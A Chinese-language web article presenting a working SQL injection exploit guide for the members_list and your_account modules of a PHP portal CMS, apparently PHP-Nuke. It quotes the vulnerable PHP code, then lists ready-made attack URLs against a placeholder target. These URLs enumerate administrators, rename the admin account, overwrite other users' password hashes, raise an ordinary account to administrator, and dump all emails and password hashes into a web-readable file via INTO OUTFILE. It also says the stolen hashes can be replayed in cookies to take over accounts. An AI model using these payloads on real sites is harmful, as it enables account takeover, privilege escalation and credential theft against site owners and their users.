选择显示字体大小

利用sql注入缺陷进行攻击的方法及代码

sql的members_list、your_account模块中存在注入缺陷。如果magic_quotes_gpc选项为“off”,攻击者使用下列攻击方法及代码能利用该缺陷:

  php代码/位置:

?/modules/members_list/index.php :
------------------------------------------------------------------------
[...]
$count = "select count(uid) as total from ".$user_prefix."_users ";
$select = "select uid, name, uname, femail, url from
".$user_prefix."_users ";
$where = "where uname != anonymous ";

if ( ( $letter != "other" ) and ( $letter != "all" ) ) {
$where .= "and uname like ".$letter."% ";

} else if ( ( $letter == "other" ) and ( $letter != "all" ) ) {
$where .= "and uname regexp \"^\[1-9]\" ";

} else {
$where .= "";
}
$sort = "order by $sortby";
$limit = " asc limit ".$min.", ".$max;

$count_result = sql_query($count.$where, $dbi);
$num_rows_per_order = mysql_result($count_result,0,0);

$result = sql_query($select.$where.$sort.$limit, $dbi) or die();


echo "<br>";
if ( &#36;letter != "front" ) {
echo "<table width=\"100&#37;\" border=\"0\"
cellspacing=\"1\"><tr>\n";
echo "<td bgcolor=\"&#36;bgcolor4\" align=\"center\"><font
color=\"&#36;textcolor2\"><b>"._nickname."</b></font></td>\n";
echo "<td bgcolor=\"&#36;bgcolor4\" align=\"center\"><font
color=\"&#36;textcolor2\"><b>"._realname."</b></font></td>\n";
echo "<td bgcolor=\"&#36;bgcolor4\" align=\"center\"><font
color=\"&#36;textcolor2\"><b>"._email."</b></font></td>\n";
echo "<td bgcolor=\"&#36;bgcolor4\" align=\"center\"><font
color=\"&#36;textcolor2\"><b>"._url."</b></font></td>\n";
&#36;cols = 4;
[...]
------------------------------------------------------------------------

/modules/your_account/index.php :
switch(&#36;op) {
[...]
case "mailpasswd":
mail_password(&#36;uname, &#36;code);
break;

case "userinfo":
userinfo(&#36;uname, &#36;bypass, &#36;hid, &#36;url);
break;

case "login":
login(&#36;uname, &#36;pass);
break;
[...]
case "saveuser":
saveuser(&#36;uid, &#36;realname, &#36;uname, &#36;email, &#36;femail, &#36;url, &#36;pass, &#36;vpass,
&#36;bio, &#36;user_avatar, &#36;user_icq, &#36;user_occ, &#36;user_from, &#36;user_intrest,
&#36;user_sig, &#36;user_aim, &#36;user_yim, &#36;user_msnm, &#36;attach, &#36;newsletter);
break;
[...]
case "savehome":
savehome(&#36;uid, &#36;uname, &#36;storynum, &#36;ublockon, &#36;ublock, &#36;broadcast,
&#36;popmeson);
break;

case "savetheme":
savetheme(&#36;uid, &#36;theme);
break;
[...]
case "savecomm":
savecomm(&#36;uid, &#36;uname, &#36;umode, &#36;uorder, &#36;thold, &#36;noscore, &#36;commentmax);
break;
[...]
}
------------------------------------------------------------------------

/modules/your_account/index.php :
[...]
function saveuser(&#36;uid, &#36;realname, &#36;uname, &#36;email, &#36;femail, &#36;url, &#36;pass,
&#36;vpass, &#36;bio, &#36;user_avatar, &#36;user_icq, &#36;user_occ, &#36;user_from, &#36;user_intrest,
&#36;user_sig, &#36;user_aim, &#36;user_yim, &#36;user_msnm, &#36;attach, &#36;newsletter) {
global &#36;user, &#36;cookie, &#36;userinfo, &#36;editedmessage, &#36;user_prefix, &#36;dbi,
&#36;module_name;
cookiedecode(&#36;user);
&#36;check = &#36;cookie[1];
&#36;check2 = &#36;cookie[2];
&#36;result = sql_query("select uid, pass from ".&#36;user_prefix."_users where
uname=&#36;check", &#36;dbi);
list(&#36;vuid, &#36;ccpass) = sql_fetch_row(&#36;result, &#36;dbi);
if ((&#36;uid == &#36;vuid) and (&#36;check2 == &#36;ccpass)) {
if (!eregi("http://";, &#36;url)) {
&#36;url = "http://&#36;url";
}
if ((isset(&#36;pass)) && ("&#36;pass" != "&#36;vpass")) {
echo "<center>"._passdifferent."</center>";
} elseif ((&#36;pass != "") && (strlen(&#36;pass) < &#36;minpass)) {
echo "<center>"._youpassmustbe." <b>&#36;minpass</b>
"._charlong."</center>";
} else {
if (&#36;bio) { filter_text(&#36;bio); &#36;bio = &#36;editedmessage; &#36;bio =
fixquotes(&#36;bio); }
if (&#36;pass != "") {
cookiedecode(&#36;user);
sql_query("lock tables ".&#36;user_prefix."_users write", &#36;dbi);
&#36;pass = md5(&#36;pass);
sql_query("update ".&#36;user_prefix."_users set name=&#36;realname,
email=&#36;email, femail=&#36;femail, url=&#36;url, pass=&#36;pass, bio=&#36;bio ,
user_avatar=&#36;user_avatar, user_icq=&#36;user_icq, user_occ=&#36;user_occ,
user_from=&#36;user_from, user_intrest=&#36;user_intrest, user_sig=&#36;user_sig,
user_aim=&#36;user_aim, user_yim=&#36;user_yim, user_msnm=&#36;user_msnm,
newsletter=&#36;newsletter where uid=&#36;uid", &#36;dbi);
&#36;result = sql_query("select uid, uname, pass, storynum, umode, uorder,
thold, noscore, ublockon, theme from ".&#36;user_prefix."_users where
uname=&#36;uname and pass=&#36;pass", &#36;dbi);
if(sql_num_rows(&#36;result, &#36;dbi)==1) {
&#36;userinfo = sql_fetch_array(&#36;result, &#36;dbi);

docookie(&#36;userinfo[uid],&#36;userinfo[uname],&#36;userinfo[pass],&#36;userinfo[storynum],
&#36;userinfo[umode],&#36;userinfo[uorder],&#36;userinfo[thold],&#36;userinfo[noscore],&#36;userinfo[ublockon],
&#36;userinfo[theme],&#36;userinfo[commentmax]);
} else {
echo "<center>"._somethingwrong."</center><br>";
}
sql_query("unlock tables", &#36;dbi);
} else {
sql_query("update ".&#36;user_prefix."_users set name=&#36;realname,
email=&#36;email, femail=&#36;femail, url=&#36;url, bio=&#36;bio,
user_avatar=&#36;user_avatar, user_icq=&#36;user_icq, user_occ=&#36;user_occ,
user_from=&#36;user_from, user_intrest=&#36;user_intrest, user_sig=&#36;user_sig,
user_aim=&#36;user_aim, user_yim=&#36;user_yim, user_msnm=&#36;user_msnm,
newsletter=&#36;newsletter where uid=&#36;uid", &#36;dbi);
if (&#36;attach) {
&#36;a = 1;
} else {
&#36;a = 0;
}
}
header("location: modules.php?name=&#36;module_name");
}
}
}
[...]
function savehome(&#36;uid, &#36;uname, &#36;storynum, &#36;ublockon, &#36;ublock, &#36;broadcast,
&#36;popmeson) {
global &#36;user, &#36;cookie, &#36;userinfo, &#36;user_prefix, &#36;dbi, &#36;module_name;
cookiedecode(&#36;user);
&#36;check = &#36;cookie[1];
&#36;check2 = &#36;cookie[2];
&#36;result = sql_query("select uid, pass from ".&#36;user_prefix."_users where
uname=&#36;check", &#36;dbi);
list(&#36;vuid, &#36;ccpass) = sql_fetch_row(&#36;result, &#36;dbi);
if ((&#36;uid == &#36;vuid) and (&#36;check2 == &#36;ccpass)) {
if(isset(&#36;ublockon)) &#36;ublockon=1; else &#36;ublockon=0;
&#36;ublock = fixquotes(&#36;ublock);
sql_query("update ".&#36;user_prefix."_users set storynum=&#36;storynum,
ublockon=&#36;ublockon, ublock=&#36;ublock, broadcast=&#36;broadcast,
popmeson=&#36;popmeson where uid=&#36;uid", &#36;dbi);
getusrinfo(&#36;user);
docookie(&#36;userinfo[uid],&#36;userinfo[uname],&#36;userinfo[pass],&#36;userinfo[storynum],&#36;userinfo[umode],
&#36;userinfo[uorder],&#36;userinfo[thold],&#36;userinfo[noscore],&#36;userinfo[ublockon],
&#36;userinfo[theme],&#36;userinfo[commentmax]);
header("location: modules.php?name=&#36;module_name");
}
}

function savetheme(&#36;uid, &#36;theme) {
global &#36;user, &#36;cookie, &#36;userinfo, &#36;user_prefix, &#36;dbi, &#36;module_name;
cookiedecode(&#36;user);
&#36;check = &#36;cookie[1];
&#36;check2 = &#36;cookie[2];
&#36;result = sql_query("select uid, pass from ".&#36;user_prefix."_users where
uname=&#36;check", &#36;dbi);
list(&#36;vuid, &#36;ccpass) = sql_fetch_row(&#36;result, &#36;dbi);
if ((&#36;uid == &#36;vuid) and (&#36;check2 == &#36;ccpass)) {
sql_query("update ".&#36;user_prefix."_users set theme=&#36;theme where
uid=&#36;uid", &#36;dbi);
getusrinfo(&#36;user);
docookie(&#36;userinfo[uid],&#36;userinfo[uname],&#36;userinfo[pass],&#36;userinfo[storynum],
&#36;userinfo[umode],&#36;userinfo[uorder],&#36;userinfo[thold],&#36;userinfo[noscore],&#36;userinfo[ublockon],
&#36;userinfo[theme],&#36;userinfo[commentmax]);
header("location: modules.php?name=&#36;module_name&theme=&#36;theme");
}
}
[...]
function savecomm(&#36;uid, &#36;uname, &#36;umode, &#36;uorder, &#36;thold, &#36;noscore,
&#36;commentmax) {
global &#36;user, &#36;cookie, &#36;userinfo, &#36;user_prefix, &#36;dbi, &#36;module_name;
cookiedecode(&#36;user);
&#36;check = &#36;cookie[1];
&#36;check2 = &#36;cookie[2];
&#36;result = sql_query("select uid, pass from ".&#36;user_prefix."_users where
uname=&#36;check", &#36;dbi);
list(&#36;vuid, &#36;ccpass) = sql_fetch_row(&#36;result, &#36;dbi);
if ((&#36;uid == &#36;vuid) and (&#36;check2 == &#36;ccpass)) {
if(isset(&#36;noscore)) &#36;noscore=1; else &#36;noscore=0;
sql_query("update ".&#36;user_prefix."_users set umode=&#36;umode,
uorder=&#36;uorder, thold=&#36;thold, noscore=&#36;noscore,
commentmax=&#36;commentmax where uid=&#36;uid", &#36;dbi);
getusrinfo(&#36;user);
docookie(&#36;userinfo[uid],&#36;userinfo[uname],&#36;userinfo[pass],
&#36;userinfo[storynum],&#36;userinfo[umode],&#36;userinfo[uorder],&#36;userinfo[thold],&#36;userinfo[noscore],
&#36;userinfo[ublockon],&#36;userinfo[theme],&#36;userinfo[commentmax]);
header("location: modules.php?name=&#36;module_name");
}
}
[...]
------------------------------------------------------------------------

/modules/your_account/index.php :
[...]
function mail_password(&#36;uname, &#36;code) {
global &#36;sitename, &#36;adminmail, &#36;nukeurl, &#36;user_prefix, &#36;dbi,
&#36;module_name;
&#36;result = sql_query("select email, pass from ".&#36;user_prefix."_users
where (uname=&#36;uname)", &#36;dbi);
if(!&#36;result) {
include("header.php");
opentable();
echo "<center>"._sorrynouserinfo."</center>";
closetable();
include("footer.php");
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function userinfo(&#36;uname, &#36;bypass=0, &#36;hid=0, &#36;url=0) {
global &#36;user, &#36;cookie, &#36;sitename, &#36;prefix, &#36;user_prefix, &#36;dbi, &#36;admin,
&#36;broadcast_msg, &#36;my_headlines, &#36;module_name;
&#36;result = sql_query("select uid, femail, url, bio, user_avatar,
user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest,
user_sig, pass, newsletter from ".&#36;user_prefix."_users where
uname=&#36;uname", &#36;dbi);
&#36;userinfo = sql_fetch_array(&#36;result, &#36;dbi);
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function login(&#36;uname, &#36;pass) {
global &#36;setinfo, &#36;user_prefix, &#36;dbi, &#36;module_name;
&#36;result = sql_query("select pass, uid, storynum, umode, uorder, thold,
noscore, ublockon, theme, commentmax from ".&#36;user_prefix."_users where
uname=&#36;uname", &#36;dbi);
&#36;setinfo = sql_fetch_array(&#36;result, &#36;dbi);
[...]
}
[...]
------------------------------------------------------------------------


  members_list模块:

  - 显示用户:

http://[target]/modules.php?name=members_list&letter=all&sortby=pass

  - 显示用户:

http://[target]/modules.php?name=members_list&letter=all&sortby=uid

  - 显示moderators :

http://[target]/modules.php?name=members_list&letter=&#37;20or&#37;20user_level=2/*

  - 显示管理员:

http://[target]/modules.php?name=members_list&letter=&#37;20or&#37;20user_level=4/*

  - 显示所有以“abc”开头的用户 :

http://[target]/modules.php?name=members_list&letter=&#37;20or&#37;20pass&#37;20like&#37;20abc&#37;25/*

  your_account模块 :

  - 将“admind”用户更名为“hophophop” :

http://[target]/modules.php?name=your_account&op=savetheme&theme=,name=hophophop&#37;20where&#37;20uname=admin/*&uid=[our_uid]

  - 在md5_decrypted中将“bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:

http://[target]/modules.php?name=your_account&op=savetheme&theme=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid]
  或:

http://[target]/modules.php?name=your_account&op=saveuser&realname=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid]
  或:

http://[target]/modules.php?name=your_account&op=saveuser&email=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid]
  或:

http://[target]/modules.php?name=your_account&op=savehome&storynum=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid]
  或:

http://[target]/modules.php?name=your_account&op=savehome&ublockon=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid]
  或:

http://[target]/modules.php?name=your_account&op=savecomm&umode=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid] 
  或:

http://[target]/modules.php?name=your_account&op=savecomm&thold=,
pass=d41d8cd98f00b204e9800998ecf8427e&#37;20where&#37;20uname=bob/*&uid=[our_uid]

  - 将普通用户提升至管理员权限:

http://[target]/modules.php?name=your_account&op=savetheme&theme=,user_level=4&uid=[our_uid]

  或:

http://[target]/modules.php?name=your_account&op=saveuser&femail=,user_level=4&uid=[our_uid]

  或:

http://[target]/modules.php?name=your_account&op=saveuser&url=http://,user_level=4&uid=[our_uid]

  或:

http://[target]/modules.php?name=your_account&op=savehome&broadcast=,user_level=4&uid=[our_uid]

  或:

http://[target]/modules.php?name=your_account&op=savecomm&uorder=,user_level=4&uid=[our_uid]

  - 将所有用户的电子邮件和crypted密码保存在http://[target]/allmailpass.txt中 :

http://[target]/modules.php?name=your_account&op=mailpasswd&uname=)
&#37;20or&#37;201=1&#37;20into&#37;20outfile&#37;20/[path/to/site]/allmailpass.txt/*

  利用cookie发送crypted密码能访问用户帐户。

  - 将用户的所有信息保存在http://[target]/admintxt中:

http://[target]/modules.php?name=your_account&op=login&uname=&#37;20or&#37;user_level>
1&#37;20into&#37;20outfile&#37;20/[path/to/site]/admin.txt

[path/to/site]能在http://[target]/modules/forums/bb_smilies.php中查询到。


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons